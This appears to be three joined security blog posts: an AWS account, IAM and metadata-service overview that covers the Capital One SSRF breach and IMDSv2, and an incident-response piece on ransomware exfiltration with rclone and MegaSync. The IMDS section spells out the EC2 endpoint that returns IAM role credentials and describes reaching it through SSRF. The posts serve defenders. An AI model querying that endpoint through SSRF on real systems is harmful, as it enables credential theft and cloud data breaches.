https://www.zdnet.com/article/security-lapse-exposes-198-million-united-states-voter-records/ https://arstechnica.com/information-technology/2017/05/defense-contractor-stored-intelligence-data-in-amazoncloud-unprotected/ https://www.theregister.com/2020/07/21/twilio_javascript_sdk_code_injection/ https://github.com/nagwww/s3-leaks -------------------------------------------------------------------------------------------------------------------------- Conclusion AWS provides powerful and scalable cloud computing and storage solutions through services like EC2, AMIs, S3, and EBS. These services offer flexibility for a wide range of workloads, whether you need virtual machines, pre-configured templates, or reliable storage options. However, with great flexibility comes responsibility—especially when it comes to security. Misconfigurations in S3 buckets and improper access management can lead to serious data breaches, as seen in numerous high-profile incidents. By following best practices for access control, encryption, and key management, users can leverage AWS’s full potential while maintaining robust security and compliance. Akash Patel

Amazon Web Services (AWS) has grown into a powerful platform used by businesses around the world to manage their data, infrastructure, and applications in the cloud. From its beginnings in 2006 with Simple Storage Service (S3) , AWS has evolved into a multi-layered service offering that powers much of today’s internet. ---------------------------------------------------------------------------------------------------------- AWS Control Tower and AWS Organizations: Structuring Your Cloud Environment At the heart of AWS deployments is the AWS account . Each AWS account provides a dedicated environment where you can host services like S3, EC2 (Elastic Compute Cloud), databases, and more. But managing these services across multiple departments or projects in a single account can get tricky. T his is where AWS Control Tower  and AWS Organizations  come in. What is AWS Control Tower? AWS Control Tower  is a tool designed to help set up and manage a multi-account AWS environment . Think of it as a blueprint or template that helps you organize and secure multiple AWS accounts under a single organization. Even though it’s not mandatory, using Control Tower is a recommended practice for companies managing a large cloud environment . It provides an easy way to enforce security policies and best practices across all accounts. What is AWS Organizations? AWS Organizations  allow you to group multiple AWS accounts together under one roof, making it easier to manage them from the top down. This structure enables you to apply consistent administration  and security policies  across all your accounts . Within AWS Organizations, you can create Organizational Units (OUs)  to group accounts for specific business units or projects, and apply different policies to each group. For example, your HR department  could have separate accounts for hosting employee data, while the Sales department  could have accounts for managing customer data. By separating these functions, you can secure them independently and keep billing records clean and accurate for each department. ---------------------------------------------------------------------------------------------------------- Managing AWS Accounts and Root Users Each AWS account has a root user  created when the account is first set up . This root user has full control over the account, but best practices suggest minimizing the use of the root user  to prevent security risks. Instead, i t's better to create Identity and Access Management (IAM)  users or roles to manage day-to-day operations . IAM Users and Roles IAM (Identity and Access Management)  is AWS’s system for managing user permissions and access. It allows you to create users  and assign roles  based on what tasks they need to perform. For example, an administrator might have full access to everything, while a developer might only need access to specific services like EC2 or S3. IAM users : These are individual identities with specific permissions. For example, Jane might have an IAM user account with access to AWS Lambda but not EC2. IAM roles : These allow temporary access to an AWS account for specific tasks. Roles are often used for cross-account access  or to allow external services to access AWS resources. The principle of Least Privilege  is key here —only give users and roles the minimum permissions they need to do their jobs. ---------------------------------------------------------------------------------------------------------- AWS Secure Token Service (STS) and Temporary Credentials When users or services need temporary access to AWS resources , they can use the AWS Secure Token Service (STS ) . S TS generates temporary credentials  that can last from a few minutes to several hours. This is particularly useful for external users  or cross-account access , where you don’t want to hand out long-term credentials. STS credentials : These are similar to regular I AM credentials but are short-lived, reducing the risk of them being compromised. After they expire, users need to request new credentials. Federation and roles : If you have users who are authenticated through external services (like Google or Active Directory), STS can provide temporary AWS access by using federated roles . For example, if a consultant needs access to your AWS environment, you can create a temporary IAM role with limited permissions, and they can assume that role using STS. ---------------------------------------------------------------------------------------------------------- Best Practices for Secure AWS Authentication There are several ways to log into AWS, but the most common methods are through the AWS Management Console , AWS CLI , or programmatically using access keys . Here’s how to make sure your environment stays secure: 1. Use Multi-Factor Authentication (MFA) For both the root account  and any IAM users, it’s highly recommended to enable MFA . This adds an extra layer of security, requiring both a password and a one-time code from a mobile app or hardware token. 2. Rotate Access Keys For programmatic access, AWS provides access key and secret key  combinations. It’s important to regularly rotate these keys  to reduce the risk of exposure. AWS allows each user to have two active sets of access keys, making it easier to rotate them without disrupting services. 3. Use Short-Term Credentials When possible, avoid using long-term credentials like access keys . Instead, use temporary credentials  via STS or instance roles. These credentials expire after a set time, reducing the risk of misuse. ----------------------------------------------------------------------------------------------------------- AWS Roles, Federation, and Cross-Account Access One of AWS’s strengths is its ability to manage roles across different accounts and even organizations. For instance, AWS allows cross-account access through roles. Let’s say your company is collaborating with a third party, and they need access to your AWS resources. You can create a role for them to assume in your account, granting them limited, temporary access. Federation : Allows users from an external directory (like Active Directory) to access AWS resources using Single Sign-On (SSO)  or SAML authentication . Cross-account roles : These allow users from one AWS account to assume roles in another AWS account, similar to trusts between domains in Microsoft Active Directory. ---------------------------------------------------------------------------------------------------------- For further reading, check out AWS's comprehensive guides on best practices: AWS IAM Best Practices AWS Organizations FAQs AWS Secure Token Service (STS) ---------------------------------------------------------------------------------------------------------- What is the AWS Instance Metadata Service (IMDS)? The AWS Instance Metadata Service (IMDS)  is a feature available on Amazon EC2 instances  that provides information about the instance and temporary IAM credentials. It allows the instance to retrieve details like its hostname, network configuration, and most importantly, the IAM role credentials assigned to the instance. While useful for many applications, IMDS also presents a potential security risk if misused, as seen in the infamous Capital One data breach . The I nstance Metadata Service (IMDS)  runs on a dedicated non-public network  and is accessible only from within the EC2 instance itself. IMDS provides crucial information for an EC2 instance, including temporary credentials for any IAM role assigned to the instance . The metadata can be accessed at the following endpoints: IPv4 : http://[169.254.169.254]/latest/meta-data/ IPv6 : http://[fd00:ec2::254]/latest/meta-data/ IAM Role Credentials via Metadata When an EC2 instance is configured with an IAM role , you can retrieve the role’s temporary access credentials  using the metadata service. By querying: http://169.254.169.254/latest/meta-data/iam/security-credentials/ You’ll receive the Access Key ID , Secret Key , and Session Token  in clear text , which can be used to interact with AWS services like S3. The temporary credentials  are typically short-lived, providing an extra layer of security since they expire after a certain time. While this service is extremely convenient for developers and system administrators, it can also be exploited if an attacker manages to access the EC2 instance or misconfigurations allow indirect access. ---------------------------------------------------------------------------------------------------------- Potential Exploits of IMDS Though the metadata service is restricted to internal network access, attackers can still gain access to sensitive data through various techniques if the EC2 instance is compromised. Server-Side Request Forgery (SSRF) Attacks One of the most notorious attack vectors is Server-Side Request Forgery (SSRF) , where an attacker tricks a vulnerable application into querying internal services, such as the metadata service. By manipulating web requests, an attacker can obtain the instance's metadata, including the IAM role credentials, which they can then use to access AWS resources. For example, misconfigured reverse proxies  can be exploited by sending HTTP requests with modified headers to trick the proxy into querying the metadata service . A 2018 article by Michael Higashi, “Instance Metadata API: A Modern Day Trojan Horse,” highlighted how simple this can be using a curl command to obtain sensitive credentials by querying the internal metadata service. ---------------------------------------------------------------------------------------------------------- The Capital One Data Breach In 2019 , one of the largest cloud data breaches in history affected Capital One , resulting in the exposure of sensitive information of more than 100 million customers . This breach was directly related to the misuse of AWS instance metadata. How the Attack Happened SSRF Vulnerability : The attacker identified a vulnerable web application firewall (WAF)  running on an EC2 instance in Capital One’s environment . By using a Server-Side Request Forgery (SSRF)  attack, the attacker was able to query the instance metadata service  and steal the EC2 instance’s temporary IAM role credentials . Using IAM Role Credentials : After obtaining the credentials, the attacker used them to gain access to Amazon S3 buckets . These credentials provided read access to over 700 S3 buckets  containing sensitive data. The attacker copied the data, which included personal and financial information. Data Exfiltration : The attacker exfiltrated sensitive data belonging to Capital One customers, including Social Security Numbers , bank account details , and credit scores . This breach not only revealed security misconfigurations within Capital One’s infrastructure but also highlighted the risks associated with IMDS  when misused. Mitigating the Risk: IMDSv2 After the Capital One breach and similar incidents, AWS introduced IMDSv2  to address these risks . The key improvements include: Session Token Requirement : I MDSv2 requires a session token   to be obtained using an HTTP PUT request before any data can be accessed. This prevents simple GET requests from accessing sensitive metadata. Protection Against SSRF : Most WAFs  and reverse proxies do not support PUT requests, making it much harder for attackers to exploit SSRF vulnerabilities to access IMDS. TTL Settings : The new version sets the Time-to-Live (TTL)  for metadata requests to 1, which prevents external routing hosts from passing the requests further, reducing the chances of metadata leaks. While IMDSv2 greatly reduces the risk of metadata service attacks, AWS has not deprecated IMDSv1 . Organizations need to actively switch to IMDSv2  and enforce its use to protect their EC2 instances from similar exploits. ---------------------------------------------------------------------------------------------------------- How to Secure EC2 Instances Against Metadata Exploits Here are key steps you can take to protect your AWS environment from metadata-related attacks: Use IMDSv2 : When launching new EC2 instances, configure them to use IMDSv2 . AWS allows you to enforce this via instance metadata options. You can set a requirement for all metadata requests to use session tokens , adding an extra layer of security. Limit IAM Role Permissions : Apply the principle of Least Privilege  to IAM roles assigned to EC2 instances. Ensure that roles only have access to the minimum AWS resources they need. Monitor for SSRF Exploits : Regularly audit your web applications for SSRF vulnerabilities . Tools like AWS WAF  and third-party security solutions can help detect and block suspicious requests that could lead to SSRF attacks. Enable Logging and Alerts : Use AWS CloudTrail to monitor API activity, including the usage of temporary credentials  retrieved from the metadata service. Set up alerts for unusual activity, such as large-scale S3 data access. Use Network Security Groups (NSGs) : Apply Network Security Groups  to control inbound and outbound traffic for your EC2 instances. Restrict network access to only what is necessary for the instance to function. ----------------------------------------------------------------------------------------------------------\ Conclusion AWS provides a powerful and flexible cloud platform, but managing its security requires a thoughtful approach to account structure, user management, and access controls. By using tools, you can ensure that your AWS environment remains secure, scalable, and easy to manage. The AWS Instance Metadata Service (IMDS)  is also an powerful tool, but it comes with significant risks if misconfigured or exploited. By upgrading to IMDSv2 , following best practices for IAM role management , and actively monitoring for vulnerabilities, organizations can secure their cloud infrastructure and avoid similar incidents. Akash Patel

In today’s cybercrime landscape, attackers are increasingly turning to cloud services for data exfiltration. While this presents additional challenges for defenders, it also offers opportunities to track and mitigate the damage. The Shift to Cloud-Based Exfiltration Cloud storage providers have become popular among attackers because they meet key requirements: Speed and availability : Attackers need fast, scalable infrastructure to quickly move large amounts of stolen data. Cost-efficiency : Many cloud services offer significant storage at minimal or no cost. Less visibility : Cloud platforms are generally not on security blacklists, making it harder for traditional defenses to detect the exfiltration. Attackers streamline their operations by using cloud platforms to exfiltrate data. In some cases, the copy stored in the cloud is the only copy the attackers have , which they later use to demand ransom or release the data publicly . The efficiency of using a single storage location means attackers can avoid time-consuming data copying, making their extortion schemes quicker and harder to track. Fast Response from Cloud Providers While attackers use cloud platforms, t he providers have become more cooperative  in helping victims. Many c loud providers act quickly on takedown requests, often removing malicious data within hours or minutes . This means that although cloud services are used for exfiltration, they are rarely used for data distribution because of the prompt responses from the providers. However, gaining access to the cloud shares used for exfiltration can provide valuable insights for the victim. Accessing the attacker’s cloud storage allows investigators to: Assess the extent of the data stolen . Make the data unusable  by inserting traps like canary tokens or zip bombs . Gather information on other potential victims , especially when attackers reuse cloud accounts across multiple breaches. In some instances, investigators have been able to notify other breached organizations before the attackers could fully execute their plans, offering a rare preemptive defense against encryption or further exfiltration. ---------------------------------------------------------------------------------------------------------- Investigating the Exfiltration Process During investigations, we often find that attackers have used common tools and techniques to identify and exfiltrate sensitive data from an organization’s network. Ransomware cases frequently reveal how attackers plan their operations, from identifying sensitive file shares to the exfiltration itself. The following steps provide an outline of the typical exfiltration process: 1. Scanning for Sensitive Shares Attackers often start by scanning the network for shared folders that might contain sensitive data. Tools like SoftPerfect Network Scanner  are frequently used for this task . These tools display available share names and show which users are logged in to the machines, helping attackers prioritize targets. From an investigative standpoint, defenders can sometimes recover partial screenshots or cache files of the attacker’s scanning activity. For example, attackers may be particularly interested in machines where admin users  are logged in or shares named after departments like “HR,” “Finance,” or “Confidential.” Fortunately, these shares may not always contain the most critical data, but they still serve as key entry points for attackers. 2. Tracking the Attackers’ Actions Understanding what the attackers were looking for and where they browsed can be crucial for assessing the damage. To do this, d efenders can rely on artifacts like MountPoints  and Shellbags , both of which provide forensic insights into the attackers’ activities. MountPoints : These are stored in registry keys and show w hat external storage devices (like USB drives) or network shares were mounted. By examining the registry, investigators can track what shares attackers connected to using the “net use” command. Tools like Registry Explorer  by Eric Zimmerman are particularly useful for browsing these entries. Shellbags : These artifacts store user preferences for Windows Explorer windows, including the location and size of the windows. They also store the directory paths  the user browsed. Since Shellbags are stored per user, investigators can pinpoint specific actions by the attacker, even tracking when and where they navigated . Shellbag Explorer  is another tool by Zimmerman that helps present this data in a clear, tree-like structure. https://www.cyberengage.org/post/shell-bags-analysis-tool-sbecmd-exe-or-shellbagsexplorer-gui-version-very-important-artifact When attackers use an account that should never have interactive sessions (such as a service account), Shellbags allow investigators to reconstruct where they navigated using Windows Explorer, complete with timestamps. ---------------------------------------------------------------------------------------------------------- Tools Used by Attackers for Exfiltration In our investigations, we frequently encounter two tools for data exfiltration: rclone  and MegaSync . Both tools allow for efficient, encrypted data transfer, making them ideal for attackers. 1. MegaSync MegaSync is the o fficial desktop app for syncing with Mega.io , a cloud storage platform popular with attackers due to its encryption and large storage capacity. While the traffic and credentials for MegaSync are heavily encrypted, the application generates a logfile  in binary format . Tools like Velociraptor can parse these log files to extract the names of uploaded files, giving investigators a clearer idea of what was exfiltrated. 2. Rclone Rclone is a command-line tool for managing files across more than 40 cloud storage platforms, including Mega.io . Its appeal lies in its support for HTTPS uploads, which bypass many traditional security filters like FTP. Attackers often create a configuration file  (rclone.conf) to store credentials and other transfer settings, speeding up the exfiltration process by minimizing the number of commands they need to enter. Investigators can target these configuration files, which hold valuable information such as the cloud service being used, stored credentials, and more. In many cases, the configuration file may be encrypted, but attackers occasionally decrypt certain files to prove they have the keys. Investigators can sometimes trick the attackers into decrypting the rclone.conf  file, allowing them to gain access to the exfiltration details. Alternative Techniques for Recovering Exfiltration Data Even if direct access to the rclone configuration is not possible, defenders can use more advanced methods like volume snapshots  and string searches  to recover artifacts related to the exfiltration. Volume snapshots : These provide older versions of a hard drive, akin to Apple’s Time Machine. Although attackers often try to delete these snapshots, tools like vss_carver  can help recover them, providing valuable forensic data. https://github.com/mnrkbys/vss_carver String searches : Tools like bulkextractor  and YARA  can search hard drives and memory for residual traces of configuration files or rclone-related artifacts, helping to uncover more about the attackers’ activities. Regex combined for searching Mega and rclone In some cases, investigators can even use these methods to track down the attackers’ infrastructure and work with law enforcement to take further action. Cloud providers often have detailed logs showing when the data was uploaded, whether it was downloaded again, and from where ---------------------------------------------------------------------------------------------------------- Conclusion As attackers increasingly leverage cloud services to exfiltrate stolen data, organizations need to adapt their incident response strategies accordingly. Understanding how attackers use tools like rclone and MegaSync can help defenders detect exfiltration attempts faster and take steps to mitigate the damage. By carefully analyzing forensic artifacts like MountPoints, Shellbags, and volume snapshots, investigators can reconstruct attacker activities and gain insight into the extent of the breach. Akash .Patel